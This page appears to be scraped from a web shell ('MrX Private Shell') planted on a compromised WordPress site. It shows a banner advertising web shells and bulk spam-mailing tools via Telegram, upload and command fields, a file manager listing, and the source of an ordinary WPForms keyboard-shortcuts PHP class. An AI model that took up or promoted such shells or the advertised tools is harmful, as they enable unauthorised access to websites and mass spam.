__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Admin\Builder;

/**
 * Form Builder Keyboard Shortcuts modal content.
 *
 * @since 1.6.9
 */
class Shortcuts {

	/**
	 * Initialize class.
	 *
	 * @since 1.6.9
	 */
	public function init() {

		// Terminate initialization if not in builder.
		if ( ! wpforms_is_admin_page( 'builder' ) ) {
			return;
		}

		$this->hooks();
	}

	/**
	 * Hooks.
	 *
	 * @since 1.6.9
	 */
	private function hooks() {

		add_filter( 'wpforms_builder_strings', [ $this, 'builder_strings' ], 10, 2 );
		add_action( 'wpforms_admin_page', [ $this, 'output' ], 30 );
	}

	/**
	 * Get shortcuts list.
	 *
	 * @since 1.6.9
	 *
	 * @return array
	 */
	private function get_list() {

		return [
			'left'  => [
				'ctrl s' => __( 'Save Form', 'wpforms-lite' ),
				'ctrl p' => __( 'Preview Form', 'wpforms-lite' ),
				'ctrl b' => __( 'Embed Form', 'wpforms-lite' ),
				'ctrl f' => __( 'Search Fields', 'wpforms-lite' ),
			],
			'right' => [
				'ctrl h' => __( 'Open Help', 'wpforms-lite' ),
				'ctrl t' => __( 'Toggle Sidebar', 'wpforms-lite' ), // It is 'alt s' on Windows/Linux, dynamically changed in the modal in admin-builder.js openKeyboardShortcutsModal().
				'ctrl e' => __( 'View Entries', 'wpforms-lite' ),
				'ctrl q' => __( 'Close Builder', 'wpforms-lite' ),
			],
		];
	}

	/**
	 * Add Form builder strings.
	 *
	 * @since 1.6.9
	 *
	 * @param array         $strings Form Builder strings.
	 * @param \WP_Post|bool $form    Form object.
	 *
	 * @return array
	 */
	public function builder_strings( $strings, $form ) {

		$strings['shortcuts_modal_title'] = esc_html__( 'Keyboard Shortcuts', 'wpforms-lite' );
		$strings['shortcuts_modal_msg']   = esc_html__( 'Handy shortcuts for common actions in the builder.', 'wpforms-lite' );

		return $strings;
	}

	/**
	 * Generate and output shortcuts modal content as the wp.template.
	 *
	 * @since 1.6.9
	 */
	public function output() {

		echo '
		<script type="text/html" id="tmpl-wpforms-builder-keyboard-shortcuts">
			<div class="wpforms-columns wpforms-columns-2">';

			foreach ( $this->get_list() as $list ) {

				echo "<ul class='wpforms-column'>";

				foreach ( $list as $key => $label ) {

					$key = explode( ' ', $key );

					printf(
						'<li>
							%1$s
							<span class="shortcut-key shortcut-key-%2$s-%3$s">
								<i>%2$s</i><i>%3$s</i>
							</span>
						</li>',
						esc_html( $label ),
						esc_html( $key[0] ),
						esc_html( $key[1] )
					);
				}

				echo '</ul>';
			}

		echo '
			</div>
		</script>';
	}
}

Filemanager

Name Type Size Permission Actions
Ajax Folder 0750
Notifications Folder 0750
Settings Folder 0750
Addons.php File 8.9 KB 0640
AntiSpam.php File 12.49 KB 0640
ContextMenu.php File 953 B 0640
Help.php File 52.44 KB 0640
HelpCache.php File 1.16 KB 0640
Shortcuts.php File 2.45 KB 0640
TemplateSingleCache.php File 5.38 KB 0640
Templates.php File 35.22 KB 0640
TemplatesCache.php File 5.66 KB 0640
Filemanager